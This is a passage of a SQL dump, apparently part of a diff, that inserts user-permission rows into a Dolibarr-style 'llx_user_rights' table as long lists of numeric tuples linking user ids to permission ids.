3,1,12,517),(21485,1,12,519),(15291,1,12,520),(15286,1,12,522),(15288,1,12,524),(15290,1,12,525),(15292,1,12,527),(21491,1,12,531),(21488,1,12,532),(21490,1,12,534),(21492,1,12,538),(20076,1,12,561),(20073,1,12,562),(20075,1,12,563),(20077,1,12,564),(21544,1,12,610),(21543,1,12,611),(21545,1,12,612),(16932,1,12,650),(21344,1,12,651),(21343,1,12,652),(21345,1,12,653),(17124,1,12,660),(21459,1,12,661),(21458,1,12,662),(21460,1,12,663),(13358,1,12,700),(21381,1,12,701),(21380,1,12,702),(21382,1,12,703),(21468,1,12,750),(21467,1,12,751),(21469,1,12,752),(21401,1,12,771),(21390,1,12,772),(21392,1,12,773),(15085,1,12,774),(21394,1,12,775),(21396,1,12,776),(21398,1,12,777),(21400,1,12,778),(21402,1,12,779),(14917,1,12,1001),(14916,1,12,1002),(14918,1,12,1003),(14920,1,12,1004),(14921,1,12,1005),(19247,1,12,1101),(19245,1,12,1102),(19246,1,12,1104),(19248,1,12,1109),(19233,1,12,1121),(19226,1,12,1122),(19228,1,12,1123),(19230,1,12,1124),(19232,1,12,1125),(19234,1,12,1126),(21415,1,12,1181),(21429,1,12,1182),(21418,1,12,1183),(21419,1,12,1184),(21421,1,12,1185),(21423,1,12,1186),(21425,1,12,1187),(21428,1,12,1188),(21426,1,12,1189),(21430,1,12,1191),(13827,1,12,1201),(13828,1,12,1202),(21438,1,12,1231),(21433,1,12,1232),(21434,1,12,1233),(21436,1,12,1234),(21437,1,12,1235),(21439,1,12,1236),(16302,1,12,1237),(13829,1,12,1251),(21413,1,12,1321),(21414,1,12,1322),(21377,1,12,1421),(21333,1,12,2401),(21332,1,12,2402),(21334,1,12,2403),(21338,1,12,2411),(21337,1,12,2412),(21339,1,12,2413),(21340,1,12,2414),(21386,1,12,2501),(21385,1,12,2503),(21387,1,12,2515),(20082,1,12,3200),(20840,1,12,3201),(20341,1,12,3301),(15435,1,12,5001),(15436,1,12,5002),(21553,1,12,10001),(21548,1,12,10002),(21550,1,12,10003),(21552,1,12,10005),(21554,1,12,10008),(21451,1,12,20001),(21442,1,12,20002),(21444,1,12,20003),(21448,1,12,20004),(21450,1,12,20005),(21452,1,12,20006),(21446,1,12,20007),(21366,1,12,23001),(21363,1,12,23002),(21365,1,12,23003),(21367,1,12,23004),(19019,1,12,50101),(21516,1,12,50151),(21517,1,12,50152),(21518,1,12,50153),(21318,1,12,50401),(21326,1,12,50411),(21321,1,12,50412),(21323,1,12,50414),(21325,1,12,50415),(21327,1,12,50418),(21328,1,12,50420),(21329,1,12,50430),(21317,1,12,50440),(21462,1,12,55001),(21463,1,12,55002),(21514,1,12,56001),(21511,1,12,56002),(21513,1,12,56003),(21515,1,12,56004),(16742,1,12,56005),(20838,1,12,57001),(20837,1,12,57002),(20839,1,12,57003),(21453,1,12,59001),(21454,1,12,59002),(21455,1,12,59003),(21475,1,12,63001),(21472,1,12,63002),(21474,1,12,63003),(21476,1,12,63004),(21464,1,12,64001),(17328,1,12,101130),(17327,1,12,101131),(17329,1,12,101132),(16009,1,12,101331),(16010,1,12,101332),(16011,1,12,101333),(19208,1,12,101701),(19209,1,12,101702),(20069,1,12,941601),(20065,1,12,941602),(20066,1,12,941603),(20067,1,12,941604),(20068,1,12,941605),(20070,1,12,941606),(12776,1,13,11),(12777,1,13,21),(12778,1,13,31),(12779,1,13,41),(12780,1,13,61),(12781,1,13,71),(12782,1,13,72),(12783,1,13,74),(12784,1,13,75),(12785,1,13,78),(12786,1,13,79),(12787,1,13,81),(12788,1,13,91),(12789,1,13,95),(12790,1,13,97),(12791,1,13,101),(12792,1,13,111),(12793,1,13,121),(12794,1,13,151),(12795,1,13,161),(12796,1,13,171),(12797,1,13,221),(12798,1,13,222),(12799,1,13,229),(12800,1,13,241),(12801,1,13,242),(12802,1,13,243),(12803,1,13,262),(12804,1,13,281),(12805,1,13,300),(12806,1,13,331),(12807,1,13,341),(12808,1,13,342),(12809,1,13,343),(12810,1,13,344),(12811,1,13,531),(12812,1,13,700),(12813,1,13,1001),(12814,1,13,1002),(12815,1,13,1003),(12816,1,13,1004),(12817,1,13,1005),(12818,1,13,1101),(12819,1,13,1181),(12820,1,13,1182),(12821,1,13,1201),(12822,1,13,1202),(12823,1,13,1231),(12824,1,13,2401),(12825,1,13,2501),(12826,1,13,2503),(12827,1,13,2515),(12828,1,13,20001),(12830,1,13,23001),(12831,1,13,50101),(12832,1,14,11),(12833,1,14,21),(12834,1,14,31),(12835,1,14,41),(12836,1,14,61),(12837,1,14,71),(12838,1,14,72),(12839,1,14,74),(12840,1,14,75),(12841,1,14,78),(12842,1,14,79),(12843,1,14,81),(12844,1,14,91),(12845,1,14,95),(12846,1,14,97),(12847,1,14,101),(12848,1,14,111),(12849,1,14,121),(12850,1,14,151),(12851,1,14,161),(12852,1,14,171),(12853,1,14,221),(12854,1,14,222),(12855,1,14,229),(12856,1,14,241),(12857,1,14,242),(12858,1,14,243),(12859,1,14,262),(12860,1,14,281),(12861,1,14,300),(12862,1,14,331),(12863,1,14,341),(12864,1,14,342),(12865,1,14,343),(12866,1,14,344),(12867,1,14,531),(12868,1,14,700),(12869,1,14,1001),(12870,1,14,1002),(12871,1,14,1003),(12872,1,14,1004),(12873,1,14,1005),(12874,1,14,1101),(12875,1,14,1181),(12876,1,14,1182),(12877,1,14,1201),(12878,1,14,1202),(12879,1,14,1231),(12880,1,14,2401),(12881,1,14,2501),(12882,1,14,2503),(12883,1,14,2515),(12884,1,14,20001),(12886,1,14,23001),(12887,1,14,50101),(12944,1,16,11),(12945,1,16,21),(12946,1,16,31),(13056,1,16,41),(13057,1,16,42),(13058,1,16,44),(13059,1,16,45),(12948,1,16,61),(12949,1,16,71),(12950,1,16,72),(12951,1,16,74),(12952,1,16,75),(12953,1,16,78),(12954,1,16,79),(12955,1,16,81),(12956,1,16,91),(12957,1,16,95),(12958,1,16,97),(12959,1,16,101),(12960,1,16,111),(12961,1,16,121),(13060,1,16,141),(13061,1,16,142),(13062,1,16,144),(12962,1,16,151),(12963,1,16,161),(12964,1,16,171),(12965,1,16,221),(12966,1,16,222),(12967,1,16,229),(12968,1,16,241),(12969,1,16,242),(12970,1,16,243),(13128,1,16,251),(13064,1,16,262),(12972,1,16,281),(12973,1,16,300),(12974,1,16,331),(12975,1,16,341),(12976,1,16,342),(12977,1,16,343),(12978,1,16,344),(12979,1,16,531),(12980,1,16,700),(12981,1,16,1001),(12982,1,16,1002),(12983,1,16,1003),(12984,1,16,1004),(12985,1,16,1005),(12986,1,16,1101),(12987,1,16,1181),(12988,1,16,1182),(12989,1,16,1201),(12990,1,16,1202),(12991,1,16,1231),(12992,1,16,2401),(12993,1,16,2501),(12994,1,16,2503),(12995,1,16,2515),(12996,1,16,20001),(12998,1,16,23001),(12999,1,16,50101),(13000,1,17,11),(13001,1,17,21),(13002,1,17,31),(13065,1,17,41),(13066,1,17,42),(13067,1,17,44),(13068,1,17,45),(13004,1,17,61),(13005,1,17,71),(13006,1,17,72),(13007,1,17,74),(13008,1,17,75),(13009,1,17,78),(13010,1,17,79),(13011,1,17,81),(13012,1,17,91),(13013,1,17,95),(13014,1,17,97),(13015,1,17,101),(13016,1,17,111),(13017,1,17,121),(13069,1,17,141),(13070,1,17,142),(13071,1,17,144),(13018,1,17,151),(13019,1,17,161),(13020,1,17,171),(13021,1,17,221),(13022,1,17,222),(13023,1,17,229),(13024,1,17,241),(13025,1,17,242),(13026,1,17,243),(13028,1,17,281),(13029,1,17,300),(13030,1,17,331),(13031,1,17,341),(13032,1,17,342),(13033,1,17,343),(13034,1,17,344),(13035,1,17,531),(13036,1,17,700),(13037,1,17,1001),(13038,1,17,1002),(13039,1,17,1003),(13040,1,17,1004),(13041,1,17,1005),(13042,1,17,1101),(13043,1,17,1181),(13044,1,17,1182),(13045,1,17,1201),(13046,1,17,1202),(13047,1,17,1231),(13048,1,17,2401),(13049,1,17,2501),(13050,1,17,2503),(13051,1,17,2515),(13052,1,17,20001),(13054,1,17,23001),(13055,1,17,50101),(14504,1,18,11),(14505,1,18,21),(14506,1,18,31),(14507,1,18,41),(14508,1,18,61),(14509,1,18,71),(14510,1,18,78),(14511,1,18,81),(14512,1,18,91),(14513,1,18,95),(14514,1,18,101),(14515,1,18,111),(14516,1,18,121),(14517,1,18,151),(14518,1,18,161),(14519,1,18,221),(14520,1,18,241),(14521,1,18,262),(14522,1,18,281),(14523,1,18,300),(14524,1,18,331),(14525,1,18,332),(14526,1,18,333),(14527,1,18,341),(14528,1,18,342),(14529,1,18,343),(14530,1,18,344),(14531,1,18,531),(14532,1,18,701),(14533,1,18,771),(14534,1,18,774),(14535,1,18,1001),(14536,1,18,1004),(14537,1,18,1101),(14538,1,18,1181),(14539,1,18,1182),(14540,1,18,1201),(14541,1,18,1231),(14542,1,18,2401),(14543,1,18,2501),(14544,1,18,2503),(14545,1,18,2515),(14546,1,18,20001),(14548,1,18,50101),(14549,1,18,59001),(15242,1,19,21),(15243,1,19,31),(15244,1,19,41),(15245,1,19,61),(15246,1,19,71),(15247,1,19,78),(15248,1,19,81),(15249,1,19,101),(15250,1,19,121),(15251,1,19,151),(15252,1,19,161),(15253,1,19,221),(15254,1,19,241),(15255,1,19,262),(15256,1,19,281),(15257,1,19,300),(15258,1,19,331),(15259,1,19,332),(15260,1,19,341),(15261,1,19,342),(15262,1,19,343),(15263,1,19,344),(15264,1,19,531),(15265,1,19,701),(15266,1,19,771),(15267,1,19,774),(15268,1,19,777),(15269,1,19,1001),(15270,1,19,1004),(15271,1,19,1101),(15272,1,19,1121),(15273,1,19,1181),(15274,1,19,1182),(15275,1,19,1201),(15276,1,19,1231),(15277,1,19,2401),(15278,1,19,2501),(15279,1,19,20001),(15281,1,19,50101),(15282,1,19,59001),(15283,1,19,63001); +INSERT INTO `llx_user_rights` VALUES (12402,1,1,11),(12380,1,1,12),(12385,1,1,13),(12389,1,1,14),(12393,1,1,15),(12398,1,1,16),(12404,1,1,19),(9726,1,1,21),(9700,1,1,22),(9706,1,1,24),(9711,1,1,25),(9716,1,1,26),(9722,1,1,27),(9728,1,1,28),(9978,1,1,31),(9968,1,1,32),(9974,1,1,34),(1910,1,1,36),(9980,1,1,38),(11573,1,1,41),(11574,1,1,42),(11575,1,1,44),(11576,1,1,45),(7184,1,1,61),(7181,1,1,62),(7183,1,1,64),(7185,1,1,67),(7186,1,1,68),(1678,1,1,71),(1673,1,1,72),(1675,1,1,74),(1679,1,1,75),(1677,1,1,76),(1681,1,1,78),(1682,1,1,79),(12322,1,1,81),(12309,1,1,82),(12312,1,1,84),(12314,1,1,86),(12317,1,1,87),(12320,1,1,88),(12323,1,1,89),(11580,1,1,91),(11581,1,1,92),(11582,1,1,93),(11583,1,1,94),(10097,1,1,95),(10099,1,1,96),(10103,1,1,97),(10104,1,1,98),(7139,1,1,101),(7134,1,1,102),(7136,1,1,104),(7137,1,1,105),(7138,1,1,106),(7140,1,1,109),(10229,1,1,111),(10201,1,1,112),(10207,1,1,113),(10213,1,1,114),(10219,1,1,115),(10225,1,1,116),(10231,1,1,117),(12518,1,1,121),(12508,1,1,122),(12514,1,1,125),(12520,1,1,126),(11577,1,1,141),(11578,1,1,142),(11579,1,1,144),(2307,1,1,151),(2304,1,1,152),(2306,1,1,153),(2308,1,1,154),(10092,1,1,161),(10093,1,1,162),(10094,1,1,163),(10095,1,1,164),(10096,1,1,165),(1585,1,1,170),(12342,1,1,171),(12331,1,1,172),(12335,1,1,173),(12339,1,1,174),(12343,1,1,178),(10000,1,1,221),(9990,1,1,222),(9996,1,1,223),(10002,1,1,229),(10007,1,1,237),(10011,1,1,238),(10015,1,1,239),(1686,1,1,241),(1685,1,1,242),(1687,1,1,243),(12604,1,1,251),(12566,1,1,252),(12569,1,1,253),(12572,1,1,254),(12575,1,1,255),(12579,1,1,256),(1617,1,1,258),(12525,1,1,262),(12544,1,1,281),(12534,1,1,282),(12540,1,1,283),(12546,1,1,286),(12288,1,1,300),(12290,1,1,301),(11591,1,1,302),(1763,1,1,331),(1762,1,1,332),(1764,1,1,333),(12582,1,1,341),(12584,1,1,342),(12586,1,1,343),(12588,1,1,344),(12600,1,1,351),(12593,1,1,352),(12597,1,1,353),(12601,1,1,354),(12605,1,1,358),(12560,1,1,531),(12553,1,1,532),(12557,1,1,534),(1625,1,1,536),(12561,1,1,538),(12358,1,1,700),(12348,1,1,701),(12354,1,1,702),(12360,1,1,703),(1755,1,1,1001),(1754,1,1,1002),(1756,1,1,1003),(1758,1,1,1004),(1759,1,1,1005),(7146,1,1,1101),(7143,1,1,1102),(7145,1,1,1104),(7147,1,1,1109),(12412,1,1,1181),(12458,1,1,1182),(12417,1,1,1183),(12420,1,1,1184),(12423,1,1,1185),(12427,1,1,1186),(12431,1,1,1187),(12437,1,1,1188),(12434,1,1,1189),(1578,1,1,1201),(1579,1,1,1202),(12454,1,1,1231),(12443,1,1,1232),(12446,1,1,1233),(12449,1,1,1234),(12452,1,1,1235),(12455,1,1,1236),(12459,1,1,1237),(1736,1,1,1251),(12409,1,1,1321),(12326,1,1,1421),(8190,1,1,1791),(8187,1,1,1792),(8191,1,1,1793),(12264,1,1,2401),(12260,1,1,2402),(12266,1,1,2403),(12280,1,1,2411),(12276,1,1,2412),(12282,1,1,2413),(12286,1,1,2414),(1618,1,1,2500),(12370,1,1,2501),(12367,1,1,2503),(12371,1,1,2515),(9610,1,1,5001),(9611,1,1,5002),(12490,1,1,20001),(12474,1,1,20003),(12480,1,1,20004),(12486,1,1,20005),(12492,1,1,20006),(12302,1,1,23001),(12295,1,1,23002),(12299,1,1,23003),(12303,1,1,23004),(7701,1,1,50101),(4984,1,1,50401),(4983,1,1,50402),(4985,1,1,50403),(4987,1,1,50411),(4988,1,1,50412),(4989,1,1,50415),(12498,1,1,55001),(12499,1,1,55002),(3564,1,1,100700),(3565,1,1,100701),(9596,1,1,101051),(9598,1,1,101052),(9600,1,1,101053),(9604,1,1,101060),(9605,1,1,101061),(7177,1,1,101201),(7178,1,1,101202),(10353,1,1,101250),(10355,1,1,101251),(8980,1,1,101261),(8981,1,1,101262),(7616,1,1,101331),(10030,1,1,101701),(10031,1,1,101702),(3582,1,1,102000),(3583,1,1,102001),(9819,1,1,400051),(9823,1,1,400052),(9827,1,1,400053),(9831,1,1,400055),(132,1,2,11),(133,1,2,12),(134,1,2,13),(135,1,2,14),(136,1,2,16),(137,1,2,19),(138,1,2,21),(139,1,2,22),(140,1,2,24),(141,1,2,25),(142,1,2,26),(143,1,2,27),(10359,1,2,31),(145,1,2,32),(10361,1,2,34),(146,1,2,36),(147,1,2,41),(148,1,2,42),(149,1,2,44),(150,1,2,61),(151,1,2,62),(152,1,2,64),(153,1,2,71),(154,1,2,72),(155,1,2,74),(156,1,2,75),(157,1,2,78),(158,1,2,79),(159,1,2,81),(160,1,2,82),(161,1,2,84),(162,1,2,86),(163,1,2,87),(164,1,2,88),(165,1,2,89),(166,1,2,91),(167,1,2,92),(168,1,2,93),(2475,1,2,95),(2476,1,2,96),(2477,1,2,97),(2478,1,2,98),(169,1,2,101),(170,1,2,102),(171,1,2,104),(172,1,2,109),(173,1,2,111),(174,1,2,112),(175,1,2,113),(176,1,2,114),(177,1,2,116),(178,1,2,117),(179,1,2,121),(180,1,2,122),(181,1,2,125),(182,1,2,141),(183,1,2,142),(184,1,2,144),(2479,1,2,151),(2480,1,2,152),(2481,1,2,153),(2482,1,2,154),(185,1,2,161),(186,1,2,162),(187,1,2,163),(188,1,2,164),(189,1,2,165),(190,1,2,170),(2471,1,2,171),(192,1,2,172),(2472,1,2,173),(193,1,2,221),(194,1,2,222),(195,1,2,229),(196,1,2,241),(197,1,2,242),(198,1,2,243),(199,1,2,251),(201,1,2,262),(202,1,2,281),(203,1,2,282),(204,1,2,283),(205,1,2,331),(15072,1,2,510),(2483,1,2,531),(207,1,2,532),(2484,1,2,534),(208,1,2,536),(2473,1,2,700),(210,1,2,701),(211,1,2,702),(2474,1,2,703),(15064,1,2,771),(15057,1,2,772),(15059,1,2,773),(15061,1,2,774),(15063,1,2,775),(15065,1,2,776),(212,1,2,1001),(213,1,2,1002),(214,1,2,1003),(215,1,2,1004),(216,1,2,1005),(217,1,2,1101),(218,1,2,1102),(219,1,2,1104),(220,1,2,1109),(15073,1,2,1121),(15074,1,2,1122),(15075,1,2,1123),(15076,1,2,1124),(15077,1,2,1125),(15078,1,2,1126),(221,1,2,1181),(222,1,2,1182),(223,1,2,1183),(224,1,2,1184),(225,1,2,1185),(226,1,2,1186),(227,1,2,1187),(228,1,2,1188),(229,1,2,1201),(230,1,2,1202),(231,1,2,1231),(232,1,2,1232),(233,1,2,1233),(234,1,2,1234),(235,1,2,1421),(236,1,2,2401),(237,1,2,2402),(238,1,2,2403),(239,1,2,2411),(240,1,2,2412),(241,1,2,2413),(242,1,2,2500),(2470,1,2,2501),(243,1,2,2515),(10363,1,2,20001),(10365,1,2,20003),(10366,1,2,20004),(10367,1,2,20005),(10368,1,2,20006),(15054,1,2,23001),(10362,1,2,50101),(15067,1,2,55001),(15066,1,2,59001),(15068,1,2,63001),(15069,1,2,63002),(15070,1,2,63003),(15071,1,2,63004),(10372,1,2,101250),(1807,1,3,11),(1808,1,3,31),(1809,1,3,36),(1810,1,3,41),(1811,1,3,61),(1812,1,3,71),(1813,1,3,72),(1814,1,3,74),(1815,1,3,75),(1816,1,3,78),(1817,1,3,79),(1818,1,3,91),(1819,1,3,95),(1820,1,3,97),(1821,1,3,111),(1822,1,3,121),(1823,1,3,122),(1824,1,3,125),(1825,1,3,161),(1826,1,3,170),(1827,1,3,171),(1828,1,3,172),(1829,1,3,221),(1830,1,3,222),(1831,1,3,229),(1832,1,3,241),(1833,1,3,242),(1834,1,3,243),(1835,1,3,251),(1836,1,3,255),(1837,1,3,256),(1838,1,3,262),(1839,1,3,281),(1840,1,3,282),(1841,1,3,283),(1842,1,3,331),(1843,1,3,531),(1844,1,3,536),(1845,1,3,700),(1846,1,3,1001),(1847,1,3,1002),(1848,1,3,1003),(1849,1,3,1004),(1850,1,3,1005),(1851,1,3,1181),(1852,1,3,1182),(1853,1,3,1201),(1854,1,3,1202),(1855,1,3,1231),(1856,1,3,2401),(1857,1,3,2402),(1858,1,3,2403),(1859,1,3,2411),(1860,1,3,2412),(1861,1,3,2413),(1862,1,3,2500),(1863,1,3,2515),(8026,1,4,11),(8027,1,4,21),(8028,1,4,31),(8029,1,4,41),(8030,1,4,61),(8031,1,4,71),(8032,1,4,72),(8033,1,4,74),(8034,1,4,75),(8035,1,4,78),(8036,1,4,79),(8037,1,4,81),(8038,1,4,91),(8039,1,4,95),(8040,1,4,97),(8041,1,4,101),(8042,1,4,111),(8043,1,4,121),(8044,1,4,151),(8045,1,4,161),(8046,1,4,171),(8047,1,4,221),(8048,1,4,222),(8049,1,4,229),(8050,1,4,241),(8051,1,4,242),(8052,1,4,243),(8146,1,4,251),(8147,1,4,253),(8053,1,4,262),(8054,1,4,281),(8055,1,4,331),(8056,1,4,341),(8057,1,4,342),(8058,1,4,343),(8059,1,4,344),(8060,1,4,531),(8061,1,4,700),(8062,1,4,1001),(8063,1,4,1002),(8064,1,4,1003),(8065,1,4,1004),(8066,1,4,1005),(8067,1,4,1101),(8068,1,4,1181),(8069,1,4,1182),(8070,1,4,1201),(8071,1,4,1202),(8072,1,4,1231),(8073,1,4,2401),(8074,1,4,2501),(8075,1,4,2503),(8076,1,4,2515),(8077,1,4,20001),(8078,1,4,50101),(8079,1,4,101201),(8080,1,4,101261),(8081,1,4,102000),(8082,1,4,400051),(8083,1,4,400052),(8084,1,4,400053),(8085,1,4,400055),(12608,1,10,11),(12609,1,10,21),(12610,1,10,31),(12611,1,10,41),(12612,1,10,61),(12613,1,10,71),(12614,1,10,72),(12615,1,10,74),(12616,1,10,75),(12617,1,10,78),(12618,1,10,79),(12619,1,10,81),(12620,1,10,91),(12621,1,10,95),(12622,1,10,97),(12623,1,10,101),(12624,1,10,111),(12625,1,10,121),(12626,1,10,151),(12627,1,10,161),(12628,1,10,171),(12629,1,10,221),(12630,1,10,222),(12631,1,10,229),(12632,1,10,241),(12633,1,10,242),(12634,1,10,243),(12635,1,10,262),(12636,1,10,281),(12637,1,10,300),(12638,1,10,331),(12639,1,10,341),(12640,1,10,342),(12641,1,10,343),(12642,1,10,344),(12643,1,10,531),(12644,1,10,700),(12645,1,10,1001),(12646,1,10,1002),(12647,1,10,1003),(12648,1,10,1004),(12649,1,10,1005),(12650,1,10,1101),(12651,1,10,1181),(12652,1,10,1182),(12653,1,10,1201),(12654,1,10,1202),(12655,1,10,1231),(12656,1,10,2401),(12657,1,10,2501),(12658,1,10,2503),(12659,1,10,2515),(12660,1,10,20001),(12662,1,10,23001),(12663,1,10,50101),(12664,1,11,11),(12665,1,11,21),(12666,1,11,31),(12667,1,11,41),(12668,1,11,61),(12669,1,11,71),(12670,1,11,72),(12671,1,11,74),(12672,1,11,75),(12673,1,11,78),(12674,1,11,79),(12675,1,11,81),(12676,1,11,91),(12677,1,11,95),(12678,1,11,97),(12679,1,11,101),(12680,1,11,111),(12681,1,11,121),(12682,1,11,151),(12683,1,11,161),(12684,1,11,171),(12685,1,11,221),(12686,1,11,222),(12687,1,11,229),(12688,1,11,241),(12689,1,11,242),(12690,1,11,243),(12691,1,11,262),(12692,1,11,281),(12693,1,11,300),(12694,1,11,331),(12695,1,11,341),(12696,1,11,342),(12697,1,11,343),(12698,1,11,344),(12699,1,11,531),(12700,1,11,700),(12701,1,11,1001),(12702,1,11,1002),(12703,1,11,1003),(12704,1,11,1004),(12705,1,11,1005),(12706,1,11,1101),(12707,1,11,1181),(12708,1,11,1182),(12709,1,11,1201),(12710,1,11,1202),(12711,1,11,1231),(12712,1,11,2401),(12713,1,11,2501),(12714,1,11,2503),(12715,1,11,2515),(12716,1,11,20001),(12718,1,11,23001),(12719,1,11,50101),(23576,1,12,11),(23577,1,12,12),(23578,1,12,13),(23579,1,12,14),(23580,1,12,15),(23581,1,12,16),(23582,1,12,19),(23583,1,12,21),(23584,1,12,22),(23585,1,12,24),(23586,1,12,25),(23587,1,12,26),(23588,1,12,27),(23589,1,12,28),(23590,1,12,31),(23591,1,12,32),(23592,1,12,33),(23593,1,12,34),(23594,1,12,38),(23595,1,12,39),(23596,1,12,41),(23597,1,12,42),(23598,1,12,44),(23599,1,12,45),(23600,1,12,61),(23601,1,12,62),(23602,1,12,64),(23603,1,12,67),(23604,1,12,68),(23605,1,12,69),(23606,1,12,70),(23607,1,12,71),(23608,1,12,72),(23609,1,12,74),(23610,1,12,75),(23611,1,12,76),(23612,1,12,78),(23613,1,12,79),(23614,1,12,81),(23615,1,12,82),(23616,1,12,84),(23617,1,12,85),(23618,1,12,86),(23619,1,12,87),(23620,1,12,88),(23621,1,12,89),(23622,1,12,91),(23623,1,12,92),(23624,1,12,93),(23625,1,12,94),(23626,1,12,95),(12734,1,12,97),(23627,1,12,101),(23628,1,12,102),(23629,1,12,104),(23630,1,12,105),(23631,1,12,106),(23632,1,12,109),(23633,1,12,111),(23634,1,12,112),(23635,1,12,113),(23636,1,12,114),(23637,1,12,115),(23638,1,12,116),(23639,1,12,117),(23640,1,12,121),(23641,1,12,122),(23642,1,12,125),(23643,1,12,126),(23644,1,12,130),(23645,1,12,141),(23646,1,12,142),(23647,1,12,144),(23648,1,12,145),(23649,1,12,151),(23650,1,12,152),(23651,1,12,153),(23652,1,12,154),(23653,1,12,161),(23654,1,12,162),(23655,1,12,163),(23656,1,12,164),(23657,1,12,165),(23658,1,12,167),(13350,1,12,171),(13345,1,12,172),(13347,1,12,173),(13349,1,12,174),(13351,1,12,178),(23906,1,12,221),(23903,1,12,222),(23905,1,12,223),(23907,1,12,229),(23908,1,12,237),(23909,1,12,238),(23910,1,12,239),(23666,1,12,241),(23667,1,12,242),(23668,1,12,243),(23669,1,12,251),(23670,1,12,252),(23671,1,12,253),(23672,1,12,254),(23673,1,12,255),(23674,1,12,256),(23675,1,12,262),(23676,1,12,281),(23677,1,12,282),(23678,1,12,283),(23679,1,12,286),(19877,1,12,300),(23680,1,12,301),(21360,1,12,302),(23681,1,12,304),(23682,1,12,305),(23683,1,12,331),(23684,1,12,332),(23685,1,12,333),(23686,1,12,341),(23687,1,12,342),(23688,1,12,343),(23689,1,12,344),(23690,1,12,351),(23691,1,12,352),(23692,1,12,353),(23693,1,12,354),(23694,1,12,358),(19249,1,12,430),(23575,1,12,431),(16384,1,12,501),(16378,1,12,502),(13865,1,12,510),(23695,1,12,511),(23696,1,12,512),(23697,1,12,514),(23698,1,12,517),(23699,1,12,519),(23700,1,12,520),(23701,1,12,521),(23702,1,12,522),(23703,1,12,524),(23704,1,12,525),(23705,1,12,527),(23706,1,12,531),(23707,1,12,532),(23708,1,12,533),(23709,1,12,534),(23710,1,12,538),(23711,1,12,561),(23712,1,12,562),(23713,1,12,563),(23714,1,12,564),(23899,1,12,601),(23898,1,12,602),(23900,1,12,609),(23715,1,12,610),(23716,1,12,611),(23717,1,12,612),(16932,1,12,650),(23718,1,12,651),(23719,1,12,652),(23720,1,12,653),(17124,1,12,660),(23721,1,12,661),(23722,1,12,662),(23723,1,12,663),(13358,1,12,700),(23724,1,12,701),(23725,1,12,702),(23726,1,12,703),(23727,1,12,750),(23728,1,12,751),(23729,1,12,752),(23730,1,12,771),(23731,1,12,772),(23732,1,12,773),(15085,1,12,774),(23733,1,12,775),(23734,1,12,776),(23735,1,12,777),(23736,1,12,778),(23737,1,12,779),(23738,1,12,1001),(23739,1,12,1002),(23740,1,12,1003),(23741,1,12,1004),(23742,1,12,1005),(23743,1,12,1011),(23744,1,12,1012),(23745,1,12,1014),(23746,1,12,1015),(23747,1,12,1016),(23748,1,12,1101),(23749,1,12,1102),(23750,1,12,1104),(23751,1,12,1109),(23752,1,12,1121),(23753,1,12,1122),(23754,1,12,1123),(23755,1,12,1124),(23756,1,12,1125),(23757,1,12,1126),(23758,1,12,1181),(23759,1,12,1182),(23760,1,12,1183),(23761,1,12,1184),(23762,1,12,1185),(23763,1,12,1186),(23764,1,12,1187),(23765,1,12,1188),(23766,1,12,1189),(23767,1,12,1191),(23768,1,12,1201),(23769,1,12,1202),(23770,1,12,1231),(23771,1,12,1232),(23772,1,12,1233),(23773,1,12,1234),(23774,1,12,1235),(23775,1,12,1236),(16302,1,12,1237),(23776,1,12,1251),(23777,1,12,1321),(23778,1,12,1322),(23779,1,12,1421),(23780,1,12,2401),(23781,1,12,2402),(23782,1,12,2403),(23783,1,12,2411),(23784,1,12,2412),(23785,1,12,2413),(23786,1,12,2414),(23787,1,12,2451),(23788,1,12,2452),(23789,1,12,2453),(23790,1,12,2501),(23791,1,12,2503),(23792,1,12,2515),(23793,1,12,2610),(23794,1,12,2801),(23795,1,12,2802),(20082,1,12,3200),(23796,1,12,3201),(23854,1,12,3301),(23873,1,12,4001),(23872,1,12,4002),(23874,1,12,4003),(23884,1,12,4021),(23877,1,12,4022),(23878,1,12,4023),(23880,1,12,4025),(23881,1,12,4028),(23882,1,12,4031),(23883,1,12,4032),(23885,1,12,4033),(15435,1,12,5001),(15436,1,12,5002),(23808,1,12,10001),(23809,1,12,10002),(23810,1,12,10003),(23811,1,12,10005),(23812,1,12,10008),(23813,1,12,20001),(23814,1,12,20002),(23815,1,12,20003),(23816,1,12,20004),(23817,1,12,20005),(23818,1,12,20006),(23819,1,12,20007),(23820,1,12,23001),(23821,1,12,23002),(23822,1,12,23003),(23823,1,12,23004),(19019,1,12,50101),(23824,1,12,50151),(23825,1,12,50152),(23826,1,12,50153),(23943,1,12,50401),(23951,1,12,50411),(23946,1,12,50412),(23948,1,12,50414),(23950,1,12,50415),(23952,1,12,50418),(23953,1,12,50420),(23954,1,12,50430),(23942,1,12,50440),(23827,1,12,55001),(23828,1,12,55002),(23829,1,12,56001),(23830,1,12,56002),(23831,1,12,56003),(23832,1,12,56004),(16742,1,12,56005),(23833,1,12,57001),(23834,1,12,57002),(23835,1,12,57003),(23889,1,12,58000),(23888,1,12,58001),(23890,1,12,58002),(23836,1,12,59001),(23837,1,12,59002),(23838,1,12,59003),(23839,1,12,63001),(23840,1,12,63002),(23841,1,12,63003),(23842,1,12,63004),(23843,1,12,64001),(23844,1,12,101051),(23845,1,12,101060),(23846,1,12,101061),(23847,1,12,101062),(17328,1,12,101130),(17327,1,12,101131),(17329,1,12,101132),(16009,1,12,101331),(16010,1,12,101332),(16011,1,12,101333),(22921,1,12,101701),(22922,1,12,101702),(23958,1,12,436150),(23957,1,12,436151),(23959,1,12,436152),(24047,1,12,448020),(24008,1,12,448021),(24010,1,12,448022),(24012,1,12,448023),(24014,1,12,448024),(24016,1,12,448025),(24017,1,12,448026),(24019,1,12,448027),(24021,1,12,448028),(24025,1,12,448029),(24024,1,12,448030),(24026,1,12,448031),(24030,1,12,448032),(24029,1,12,448033),(24031,1,12,448034),(24035,1,12,448035),(24034,1,12,448036),(24036,1,12,448037),(24040,1,12,448038),(24039,1,12,448039),(24041,1,12,448040),(24045,1,12,448041),(24044,1,12,448042),(24046,1,12,448043),(24048,1,12,448044),(23848,1,12,941601),(23849,1,12,941602),(23850,1,12,941603),(23851,1,12,941604),(23852,1,12,941605),(23853,1,12,941606),(23894,1,12,6830501),(23893,1,12,6830502),(23895,1,12,6830503),(24004,1,12,19150800),(24003,1,12,19150801),(24005,1,12,19150802),(23999,1,12,19150900),(23996,1,12,19150901),(23998,1,12,19150902),(24000,1,12,19150903),(23868,1,12,50000001),(23867,1,12,50000002),(23869,1,12,50000003),(12776,1,13,11),(12777,1,13,21),(12778,1,13,31),(12779,1,13,41),(12780,1,13,61),(12781,1,13,71),(12782,1,13,72),(12783,1,13,74),(12784,1,13,75),